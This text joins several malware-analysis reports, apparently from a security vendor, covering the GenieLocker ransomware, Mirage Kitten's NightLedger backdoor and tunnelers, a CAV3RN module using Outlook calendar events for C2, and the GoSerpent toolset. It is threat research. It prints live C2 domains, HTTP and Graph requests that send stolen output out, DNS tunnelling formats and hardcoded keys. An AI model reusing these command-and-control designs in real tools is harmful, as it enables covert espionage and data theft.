According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.
Conclusions
Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.
Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.
Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.
During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.
Technical details
Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.
NightLedger backdoor
NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.
When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.
NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.
When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.
NightLedger supports the following commands:
Command ID
Description
1
Gather user and host identity information
3
Execute a process/program
17
List directories
20
Download a file to the infected system
25
Gather host and network information
27
Copy a file
30
Update beacon interval
36
Take a screenshot
43
Load a DLL
56
Kill a process
62
Delete a file
69
Terminate thread
70
Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75
Enumerate logical drives
90
List processes
93
Collect C:\Windows\debug\NetSetup.log together with process-list output.
NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.
Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.
BridgeHead – a WebSocket tunneler
During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.
If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:
GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.
The malware’s next action depends on the HTTP response returned by the server:
HTTP response
Description
407 (Proxy Auth Required)
Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)
Success. Proceeds to WebSocket upgrade and authentication.
Other
Connection failed. Closes all handles, enters backoff.
This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.
Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.
All tunnel communication uses a fixed binary wire format:
Offset
Size
Field
Encoding
0
1
type
Message type (1–9)
1
4
connId
Tunnel connection identifier
5
1
flags
Status or error indicator
6
2
dataLen
Payload length
8
var
payload
Message data
Every message is at least 8 bytes. Seven message types are actively used:
Type
Name
Direction
Description
1
CONNECT
Server -> Client
Open a new TCP tunnel to a SOCKS5 target address
2
CONNECT_RESPONSE
Client -> Server
Confirm the connection was established
3
DATA
Bidirectional
Relay TCP traffic through the tunnel
4
DISCONNECT
Bidirectional
Close a tunnel connection
5
PING
Bidirectional
Keepalive probe, sent every 30 seconds by timer
6
PONG
Bidirectional
Keepalive reply
9
FLOWCTRL
Bidirectional
Throttle data flow to prevent buffer overrun
The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:
Type byte
Description
0x01
IPv4 address (4 bytes)
0x03
Domain name (1-byte length + string)
0x04
IPv6 address (16 bytes)
Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.
ArcBridge: another WebSocket tunneling tool
ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:
After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:
Command
Description
OPEN:
Creates a proxy/tunnel session to a target selected by the operator.
DNS:
Performs hostname or address resolution and returns the result.
Victimology
According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.
Conclusion
Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.
Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.
Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.
Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.
Module network communication architecture
During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.
Technical details
The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.
Project CAV3RN architecture (April 2026)
The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.
C2 communication module
The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.
The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.
For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.
Outlook calendar events as a C2 channel
The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.
Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.
If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}
Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.
Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.
Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.
Subject format
Purpose
Module behavior
Event ID: <agent-id>
Operator-to-agent command
Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500
Agent heartbeat
Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500
Agent-to-operator command output
Creates an event, uploads encrypted result attachments, and assigns the final subject
Receiving a command
For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
Our analysis found a consistent difference in capitalization between command and result attachments:
Attachment name
Direction
Associated subject
file0.txt
Operator to agent
Event ID: <agent-id>
File0.txt
Agent to operator
Boss Report ID: <agent-id>1500
Inbound command decryption
Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.
The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.
Encrypted attachment stored in a calendar event
After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.
Decrypted command
The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.
Sending command output
For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.
To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.
This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events
POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.
Heartbeat handling
The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView
DELETE /v1.0/users/***@*********.co.il/events/<EventId>
POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
Heartbeat events use the same one-hour window in 2050 but contain no attachments.
The following figure summarizes the module’s operational workflow.
DNS AAAA configuration recovery mechanism
When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.
DNS-based configuration recovery (simplified)
The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.
The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.
For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.
The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:
Index
Configuration value
0
TenantId
1
ClientId
2
ClientSecret
3
UserEmail
Determining the field length through .p. queries
For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.
In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.
As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.
IPv6 AAAA record payload layout for obtaining length
In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.
To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.
Field length encoding in DNS AAAA record responses (example)
Retrieving configuration data through .q. queries
After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.
The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.
Queries continue at 14-byte offsets until the declared field length has been recovered.
The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.
TenantId retrieval process via DNS AAAA records (example)
In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.
The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.
The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.
Failure handling and the sentinel AAAA response
In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.
The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.
Infrastructure
Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.
Domain
IP
First seen
ASN
Hosting
ns1.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns2.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns3.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns4.cloudlanecdn[.]com
144.172.108[.]205
May 21, 2026
AS 14956
RouterHosting LLC
Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.
The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.
The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.
Attribution
In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.
Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.
Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.
OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.
Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.
Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.
Conclusions
The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.
The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.
In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.
During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.
Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.
We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.
What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.
In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.
Technical details
Initial phase of the attacks
The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.
GoSerpent backdoor
The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.
This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.
The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.
GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:
Command
Symbol (as derived from corresponding function names)
Description
2BA1
Sync
Respond to the server to show the infection is active
3BA2
Exit
Exit process
4BA3
Ls
Start listening on a port
5BA4
Connect
Connect to a remote server
6BA5
Hello
Create a shell on the infected machine
7BA6
Ul
Upload a file or directory to the server
8BA7
Dl
Download from the server
9BA8
Ss5
Start a SOCKS5 proxy on the infected machine
ABA9
Cl
Close a listening port
CBAB
RF
Forward to a connected node
GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.
McMx RAT
McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.
Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format — in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.
Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.
The tool shares core functionalities with GoSerpent, including:
SOCKS5 proxying
port forwarding
file transfer
remote shell capabilities
Data collection and credential dumping tools
Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.
ThumbcacheService
ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.
The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.
Credential dumping tools
The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:
Mimikatz — dumps memory from the LSASS process to extract credential material, including cached credentials and Kerberos tickets.
QuarksDumpLocalHash — extracts local account password hashes from the SAM registry hive, allowing for offline password cracking attacks.
These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.
Second stage of the attacks
After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.
Stowaway
Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:
SOCKS5 proxying
port forwarding
reverse tunneling
remote shell access
file transfer
SSH-based tunneling
Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:
TmcLoader with an embedded payload
{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration file
TmcLoader/TmcPayload
TmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.
TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.
The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.
TmcPayload generates a file path from an obfuscated string:
C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.
It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.
Toolset integration
What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:
ThumbcacheService: deployed via GoSerpent, collects and archives sensitive files into the thumbcache_605a.db database file.
Credential dumping tools: deployed via GoSerpent to retrieve system credentials.
Configuration file: delivered via Stowaway, contains credentials and file paths for data exfiltration.
TmcLoader/TmcPayload: deployed via Stowaway, reads the configuration file for data exfiltration.
Data transfer: using network credentials and destination paths from the configuration file, TmcPayload transfers the exact same thumbcache_605a.db.
This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.
Infrastructure
The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
